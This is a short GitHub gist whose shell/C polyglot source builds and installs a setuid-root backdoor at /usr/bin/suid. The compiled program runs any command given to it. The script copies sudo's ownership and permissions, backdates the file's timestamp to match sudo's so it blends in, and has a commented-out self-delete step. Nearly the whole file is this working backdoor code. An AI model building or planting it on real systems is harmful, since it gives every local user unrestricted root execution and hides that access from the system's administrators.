Created
April 27, 2016 12:21
-
-
Save yannayl/871234f12df30c272a0cac8b41eea5cf to your computer and use it in GitHub Desktop.
suid source code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#if 0 | |
[[ -n "$TARGET" ]] || TARGET=/usr/bin/suid | |
gcc -o $TARGET $0 || exit $? | |
chown --reference /usr/bin/sudo $TARGET | |
chmod --reference /usr/bin/sudo $TARGET | |
touch --reference /usr/bin/sudo $TARGET | |
chmod a+s $TARGET | |
#$RM $0 | |
exit 0 | |
#endif | |
#include <unistd.h> | |
int main(int argc, char **argv) {return execv(argv[1], argv+1);} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment